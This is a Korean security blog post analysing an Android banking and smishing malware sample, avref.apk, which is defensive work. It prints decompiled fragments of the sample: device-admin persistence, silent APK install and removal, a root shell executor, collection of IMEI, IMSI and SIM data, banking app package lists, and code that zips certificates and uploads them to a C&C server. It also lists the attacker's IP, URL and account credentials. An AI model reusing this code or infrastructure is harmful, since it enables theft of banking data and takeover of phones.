원격제어 + 스미싱이 결합된 avref.apk

Posted by nopsled
2015.05.25 19:32 분석생활


FileName 

 avref.apk

 MD5

 F5439A55FAA1DB7EEB3F85D4DCEBE013

 SHA-1

 9E915732B7A1314FFE06C20D769F9A390C331B94

 Packer

 X


어디서 굴러들어온 녀석인진 모르겠다만, 정보유출지가 차단되어 쓸모없는 녀석이 되어 버렸다.


기기 관리자 활성화 + 원격제어(파일 다운, 설치, 제거, 문자 보내기, 연락처 유출 등) + 스미싱(뱅킹 정보 유출, 인증서 유출 등)이 사용되는 샘플이였다.



package com.a;

import android.app.admin.DeviceAdminReceiver;

import android.content.Context;

import android.content.Intent;


public class MyAdminReceiver extends DeviceAdminReceiver

{

  public void onEnabled(Context paramContext, Intent paramIntent)

  {

    super.onEnabled(paramContext, paramIntent);

  }

} 

- 기기 관리자 활성화를 이용하여 삭제를 어렵게 함.



public static void uninstallAPK(Context paramContext, String paramString)

  {

    Intent localIntent = new Intent("android.intent.action.DELETE", Uri.parse("package:" + paramString));

    localIntent.addFlags(268435456);

    paramContext.startActivity(localIntent);

  } 



public static void InstallAPK(Context paramContext, String paramString)

  {

    Intent localIntent = new Intent("android.intent.action.VIEW");

    localIntent.setFlags(268435456);

    localIntent.setDataAndType(Uri.parse("file://" + paramString), "application/vnd.android.package-archive");

    paramContext.startActivity(localIntent);

  }

- 기기에 설치된 application을 해당 악성코드가 삭제 및 설치할 수 있게 한다.



public static boolean RootCommand(String paramString)

  {

    Process localProcess;

    DataOutputStream localDataOutputStream;

    try

    {

      localProcess = Runtime.getRuntime().exec("su");

      label94: localDataOutputStream = new DataOutputStream(localProcess.getOutputStream());

    }

    catch (Exception localException1)

    {

      try

      {

        localDataOutputStream.writeBytes("chmod 777 " + paramString + "\n");

        localDataOutputStream.writeBytes(paramString + "\n");

        localDataOutputStream.writeBytes("exit\n");

        localDataOutputStream.flush();

        localProcess.waitFor();

        int i = 1;

        return i;

        localException1 = localException1;

        i = 0;

      }

      catch (Exception localException2)

      {

        break label94:

      }

    }

  }


  public static void execScrpits(String paramString)

  {

    try

    {

      RootCommand(paramString);

      return;

    }

    catch (Exception localException)

    {

    }

  } 

- 설치된 기기에서 관리자 권한으로 스크립트를 실행할 수 있다.



 public static JSONObject getPhoneState(Context paramContext)

    throws JSONException

  {

    TelephonyManager localTelephonyManager = (TelephonyManager)paramContext.getSystemService("phone");

    JSONObject localJSONObject = new JSONObject();

    localJSONObject.put("DeviceId(IMEI)", localTelephonyManager.getDeviceId());

    localJSONObject.put("DeviceSoftwareVersion", localTelephonyManager.getDeviceSoftwareVersion());

    localJSONObject.put("Line1Number", localTelephonyManager.getLine1Number());

    localJSONObject.put("NetworkCountryIso", localTelephonyManager.getNetworkCountryIso());

    localJSONObject.put("NetworkOperator", localTelephonyManager.getNetworkOperator());

    localJSONObject.put("NetworkOperatorName", localTelephonyManager.getNetworkOperatorName());

    localJSONObject.put("NetworkType", localTelephonyManager.getNetworkType());

    localJSONObject.put("PhoneType", localTelephonyManager.getPhoneType());

    localJSONObject.put("SimCountryIso", localTelephonyManager.getSimCountryIso());

    localJSONObject.put("SimOperator", localTelephonyManager.getSimOperator());

    localJSONObject.put("SimOperatorName", localTelephonyManager.getSimOperatorName());

    localJSONObject.put("SimSerialNumber", localTelephonyManager.getSimSerialNumber());

    localJSONObject.put("SimState", localTelephonyManager.getSimState());

    localJSONObject.put("SubscriberId(IMSI)", localTelephonyManager.getSubscriberId());

    localJSONObject.put("VoiceMailNumber", localTelephonyManager.getVoiceMailNumber());

    return localJSONObject;

  } 

- 악성코드가 설치된 기기의 정보를 유출한다. 유출되는 정보는 IMEI, IMSI, USIM 관련 정보, 디바이스 소프트웨어 버전, 핸드폰 번호, 네트워크 정보 등과 같다.



public class ConstantDatas

{

  public static final String ACTPACK = "com.qwe";

  public static final String AV = "AhnLab V3 Mobile Plus 2.0";

  public static String BANKURL;

  public static String[] BK_CALL_LIST;

  public static String[] BK_NAME_LIST;

  public static String[] BK_PACK_LIST;

  public static String[] B_L;

  public static String Folder;

  public static final String MAINPACK = "com.a";

  public static String NOBANKURL;

  private static final String NPKI = "NPKI";

  public static String SDCardRoot;

  public static String URL;

  public static final String V3PACK = "com.ahnlab.v3mobileplus";

  public static String status;


  static

  {

    String[] arrayOfString1 = new String[10];

    arrayOfString1[0] = "신한S뱅크";

    arrayOfString1[1] = "하나N Bank";

    arrayOfString1[2] = "스마트뱅킹";

    arrayOfString1[3] = "MG새마을금고";

    arrayOfString1[4] = "우체국 스마트뱅킹";

    arrayOfString1[5] = "신협 S뱅킹";

    arrayOfString1[6] = "스마트뱅크";

    arrayOfString1[7] = "KB스타뱅킹";

    arrayOfString1[8] = "ONE뱅킹개인";

    arrayOfString1[9] = "개인스마트뱅크";

    BK_NAME_LIST = arrayOfString1;

    String[] arrayOfString2 = new String[10];

    arrayOfString2[0] = "SH";

    arrayOfString2[1] = "HA";

    arrayOfString2[2] = "KNB";

    arrayOfString2[3] = "SP";

    arrayOfString2[4] = "EP";

    arrayOfString2[5] = "CU";

    arrayOfString2[6] = "KEB";

    arrayOfString2[7] = "KB";

    arrayOfString2[8] = "IBK";

    arrayOfString2[9] = "BS";

    BK_CALL_LIST = arrayOfString2;

    String[] arrayOfString3 = new String[10];

    arrayOfString3[0] = "com.shinhan.sbanking";

    arrayOfString3[1] = "com.hanabank.ebk.channel.android.hananbank";

    arrayOfString3[2] = "com.knb.psb";

    arrayOfString3[3] = "com.smg.spbs";

    arrayOfString3[4] = "com.epost.psf.sdsi";

    arrayOfString3[5] = "com.cu.sb";

    arrayOfString3[6] = "com.keb.android.mbank";

    arrayOfString3[7] = "com.kbstar.kbbank";

    arrayOfString3[8] = "com.ibk.neobanking";

    arrayOfString3[9] = "com.areo.bs";

    BK_PACK_LIST = arrayOfString3;

    String[] arrayOfString4 = new String[10];

    arrayOfString4[0] = "SH";

    arrayOfString4[1] = "HA";

    arrayOfString4[2] = "KNB";

    arrayOfString4[3] = "SP";

    arrayOfString4[4] = "EP";

    arrayOfString4[5] = "CU";

    arrayOfString4[6] = "KEB";

    arrayOfString4[7] = "KB";

    arrayOfString4[8] = "IBK";

    arrayOfString4[9] = "BS";

    B_L = arrayOfString4;

    SDCardRoot = Environment.getExternalStorageDirectory().getAbsolutePath() + File.separator;

    Folder = SDCardRoot + "NPKI" + File.separator;

    URL = "";

    status = "0";

    BANKURL = "http://192.151.226.138:80/appHome/";

    NOBANKURL = "http://192.151.226.138:80/appHome/";

  }

} 

- 은행 관련하여 문자열들이 정의되어 있고 분석 방해를 위한 가짜 C&C 주소가 적혀있다. 



try

    {

      ZUtil.ZipFolder(FileUtil.getSDPath() + "/" + str4 + ".txt", FileUtil.getSDPath() + "/" + str4 + ".zip");

      File localFile = new File(FileUtil.getSDPath() + "/" + str4 + ".zip");

      1 local1 = new 1(this, localFile);

      local1.start();

      String str5 = this.sp.getValue("musername", "");

      String str6 = this.sp.getValue("mpass", "");

      String str7 = StUtil.getMachine(getApplicationContext()) + "_npki.zip";

      ArrayList localArrayList = new ArrayList();

      localArrayList.add(localFile);

      localArrayList.add(new File(FileUtil.getSDPath() + "/" + str7));

      2 local2 = new 2(this, localArrayList, str5, str6);

      local2.start();

      return;

    }

    catch (Exception localException)

    {

      localException.printStackTrace();

    } 

- 공인인증서를 찾아서 .zip으로 압축하고 유출지 서버로 업로드 시킨다.





  static

  {

    System.loadLibrary("hello-jni");

  } 

MainActivit.class에서 실행되는 녀석인데, 외부 라이브러리인 hello-jni를 로드한다.




 FIleName

 libhello-jni.so

 MD5

 61E6AC6D5FFFEC2FD98298E44753A8AC

 SHA-1

 7F5E5C6B546C773724944F67444E00E659E50D97

이 녀석은 lib 디렉토리에 포함되어 있다. 잘 찾아 보시길 바란다.

          



.rodata:00001F54 00000015 C Q049c2RmaW9qYWlvYXM=  

.rodata:00001F69 00000013 C gjmrttmn01@126.com              

.rodata:00001F7D 0000000F C 54rger454reg45                  

.rodata:00001F8C 00000021 C http://tmfgragb.vicp.co/appHome/ 

이 녀석의 스트링은 위와 같다.

실제로 유출될때 사용되는 IP(주황색)와 126.com의 아이디 및 비밀번호(빨간색)가 정의되어 있다.

저작자 표시 비영리
신고